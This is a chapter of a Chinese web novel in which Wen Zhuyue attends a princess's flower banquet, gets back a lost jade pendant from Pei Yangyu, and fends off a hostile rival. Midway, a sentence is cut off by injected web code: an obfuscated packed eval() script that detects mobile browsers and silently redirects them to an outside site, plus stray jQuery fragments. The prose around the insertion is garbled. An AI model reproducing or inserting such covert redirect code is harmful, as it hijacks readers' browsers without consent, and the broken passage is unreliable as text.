82. 花宴

作品:《兄长不仁

    温逐月想起,明日便要去赴月华公主的赏花宴了。看着妆台上压着的请帖,她没由来地觉得心底不安。


    得知她从庐江活着回来的消息后,送去温府请她去宴饮的帖子不少,那些主人家本就有意因着儿女关系与温府拉近关系,她这一回来,人人都争先想着与她热络起来。热络之意不假,但温逐月猜到,她在庐江遇险一事,定然少不了成为他们的谈资。被别人问起,被别人议论,不胜其烦,即便她有一口利齿,也难以从容应付。


    她便以身体还需静养为由,将帖子尽数推掉了,总算是清净了一段时日。


    可这一回,月华公主亲自遣人来温府上送帖,温逐月总不好拒绝,再拂了公主的面子,便将请帖应下了。


    应下请帖后,温逐月又开始苦恼明日花宴的事,虽有盛长晚陪伴一道赴宴,但她翻来覆去,直至后半夜才睡着。


    翌日,温逐月强忍困意起身,任凭寒霜为她梳妆打扮。打扮妥帖后,温逐月打了一个哈欠,对镜照过后又喝了一盏热茶提神,方才出门坐马车去。


    温家的马车很快在公主府的大门前停下了,温逐月下了马车后往前走了几步,没多久,她在影壁附近看见一个身着月白色宽袍的背影,当即愣了愣。


    她只当是自己困意未消,看花了眼,于是闭着眼睛又轻揉了揉,再睁开眼时,恰好对上那人的视线,温逐月瞳孔一震,慌忙别过脸又走到一边的长廊去躲一躲。


    “温娘子。”


    那人好像不懂避嫌二字之意,见她避开了,还要毫无眼色地跟上来。


    温逐月冷着脸,硬着头皮同他打过招呼:“永国公。”


    裴扬雨点头应了一声,身后跟着的竹声和兰影向温逐月低头示意后,便看懂了裴扬雨的眼色,好言将她身边跟着的寒霜带到一边去了。


    温逐月警觉退了一步,皱眉问:“永国公,这是想做什么?”


    裴扬雨道:“我有事要问你,等人多了,就不便同你开口了,如今来得早,这儿又隐蔽,正好能同你说上话。”


    说着,裴扬雨从宽袖中小心翼翼地取出一枚羊脂玉佩,他手指轻勾着佩绳,一块圆润的羊脂玉便垂落到温逐月面前。


    “温娘子,你可觉得这枚玉佩瞧着眼熟?”


    温逐月眼前闪过一道道白色的重影,待裴扬雨的指尖轻握住玉佩后,她才看清了玉佩的模样。她的目光落在玉佩一侧的海棠花图案处,顿时大惊失色:“这玉佩你是哪里来的?”


    裴扬雨不动声色地观察着温逐月的反应,待她变了脸色后,方问道:“这枚玉佩是你的对不对?”


    温逐月抬眼时,见他眼中并无讶色,便料定裴扬雨早便知道了她是玉佩主人的事实。


    这枚玉佩向来戴在她的身上,自在庐江遇险后,便不见了踪影。她原以为,这枚玉佩早便在山坡撞得粉身碎骨了,不想,如今却完好地出现在裴扬雨的手上。


    温逐月猜不准他的想法,只是隐隐觉得,这枚玉佩是机缘巧合落到他手上的,若是他有意私藏,他绝不会时至今日才向她问询。


    很快,温逐月不再过多纠结,点头道:“这枚玉佩确实是我的,我希望你如实告知,这枚玉佩是从何得来的。”


    裴扬雨也不打算瞒着她,坦诚答道:“这枚玉佩是在庐江的团花阁据点搜到的,当时去到,那里有用的东西全部都清理掉了,只剩下这枚玉佩,我心里疑惑,不知道这枚玉佩主人的身份,更不知这枚玉佩留下的意图,故而这枚玉佩一直留在我手上,既然找到了主人,那我便该物归原主了。”


    裴扬雨扬扬下巴,示意她摊开手心,待她伸出手后,才郑重地将玉佩放在她手中。


    玉佩上好像还带着裴扬雨指腹的余温,触到掌心的那一瞬,温逐月只觉得手心发痒,不知为何痒得厉害,最后又飞快将玉佩收好。


    玉佩稳妥收着后,温逐月抽出帕子擦了擦手心,不自然地问道:“那你如今将玉佩还给我,便是猜到他们的意图了?”


    裴扬雨像是知道温逐月势必会刨根问到底,心里早便准备好了说辞:“若你还活着,这枚玉佩便是送去威胁温尚书的,若是你除了意外,这枚玉佩便是故意留下被我找到,好栽赃温尚书的。”


    温逐月攥紧手帕,不避讳地直视他的双眼:“想来永国公已经是思虑周全了,不知害我的凶手你可有眉目了?”


    裴扬雨嘴角一僵,背过身道:“温娘子,此事事关重大,牵一发而动全身,想查清楚并非是一件易事,但温娘子放心,你的仇人,也是我的仇人,这公道我一定替你我讨回。”


    温逐月脸刷一下变红,轻咳了咳:“多谢永国公费心,你只管将仇人找到再告知我,即便我一人之力不足,我相信我阿爹也会替我讨回这个公道,便不劳永国公涉险了。”


    裴扬雨见她将界限说得分明,心里有些异样,面上仍淡然道:“温娘子,此事不单单是为了你,更是为了我自己,我是个自私的人,说得好听一些,帮你只是举手之劳。”


    温逐月顿时明白自己是会错意了,没来得及想通,裴扬雨报仇与她要报仇有什么关联性,便连道别也未开口,发窘得无地自容,最后径直走开了。


    寒霜见她走来,便立刻快步上前搀着她,主仆二人装作若无其事一般,随着公主府上的女使指引入席了。


    这次的花宴摆在紫薇花树下。公主府内的紫薇树开得最好,放眼望去,一片绚烂的颜色,温逐月心中的窘意才暗暗消了些。


    花宴安排男女宾客分坐两边,席位两侧皆放置着一个大瓷缸,瓷缸里面插着几株开的正艳的荷花,回头侧身,皆能见到花色,更多了一重雅致的味道。


    虽然还未见月华公主现身,但席上已有不少郎君娘子入座。温逐月礼貌地一一同他们点头致意后,方才在席上坐下。


    等了一会儿,还不见盛长晚来,温逐月坐在席中,无人相谈,到底是不太自在。


    自温逐月回京后,各府的郎君和娘子还是第一次见她在宴席上露面。众人见她身着一身品月色的衣裳,挽着一个流苏髻,发髻被一条与衣裳同色的飘带固定着,再用几支珠钗装点,与耳间坠下的明月珠相衬,虽然打扮得并不算繁琐,却有一种难以言说的清丽,如同出水芙蓉一般。


    温逐月特意打扮得素净一点,原本她的遭遇便引人好奇,若是在穿着打扮上再出风头,那更容易


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890641|181261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    引起别人注意,继而再细问当日之事。


    她越坐越觉得不太自在,喝了一盏茶后,总觉得对座旁侧的目光幽幽往她这边投。


    终于,坐在她身侧的一位卢姓娘子开口了:“许久未见温娘子了,若不是借了公主的光,在座各位怕也是难见到温娘子。”


    温逐月听出她话里的酸意,微微笑道:“卢娘子此话真是折煞我了,我也是沾了公主的光,今日才能见到诸位,平日里我上街也难得见到卢娘子,想来是与卢娘子无缘相见。”


    那卢姓娘子素日便不喜欢温逐月,每次温逐月在宴席上出现,无论打扮如何,都会成为众人关注的焦点,她每回精心打扮,都被她比下去了,便像是绿叶衬着红花一般,让她心中十分郁闷,若是能让温逐月生气丢了闺秀的气度,那她便算是扳回了一局。


    卢姓娘子脸色暗了暗,道:“听闻温娘子在庐江遇险,幸得三清真人眷顾,这才能完好地回来,只是不知温娘子与谁家解了仇怨,竟狠心到要对温娘子痛下杀手,也怪我多嘴问一句,不知温娘子如今可找到凶手没有?”


    在座的宾客不难听出卢娘子的敌意,可都装作不知一般,默不作声,他们都对温逐月的遭遇好奇得紧要,如今有人替他们发话了,他们自然不能绝了这番好意。


    温逐月知道,只要碰见这位卢娘子,心里定然会不痛快一阵。她的意图,温逐月心里清楚,一旁不做声却默默看她们二人暗潮涌动的郎君和娘子的心思,她也清楚,无论如何,她都不能在此遂了卢婉的意。


    “卢娘子当真是关心我,对我的事竟如此好奇,只是遇险当日情形,我也记不太清了,想来记录我这桩案子的案综已经从庐江州府传回刑部了,卢娘子若是好奇,不如托人去刑部问问,若是再多一份心力追根问到底,说不定能知道这案子的进度。”


    温逐月这话是有意捉弄她的,刑部的案宗岂是卢婉能过问的。若是她有心想问,势必会雁过留痕。她的父亲不在刑部任职,若是允许自家女儿过问,便是给自己丢脸,再落得一个越职的罪名,卢婉未必能担得起这雷霆之怒。


    卢婉果然被温逐月的话气到了,她怒道:“你是存了心思要捉弄我的,不肯说便不肯说,我也不想知道,若非是你命大,如今你还能同我们在这里谈笑风生吗?”


    温逐月眼里冒出冷气,见她还是不识抬举,仍要同她撕破脸皮,将事情闹得难看,这口气她当然不能咽下,卢婉屡次三番跟她作对,如今还要恶言中伤她,实在是可恶。


    可赏花宴未开,若起了争纷,势必会闹得难看,她不能为了卢婉坏了月华公主的花宴,但也不能让自己丢了面子,正当思忖着如何开口巧妙反击时,却有人抢先一步开口了。


    “这位娘子的火气好大,难不成是因为这日头太晒了,晒得这位娘子耐力降低了,见公主还未来,便要给我们在座各位演一出独角戏。只是我看这戏,演得不好,不及花好看。”


    卢婉循着声音望过去,脸色一白,见一个月白色的清隽身影正似笑非笑地走来,缓缓移步到她面前的几案。


    温逐月一看,是裴扬雨走来了,正要朝卢婉说的话又结结实实地被他堵回去了。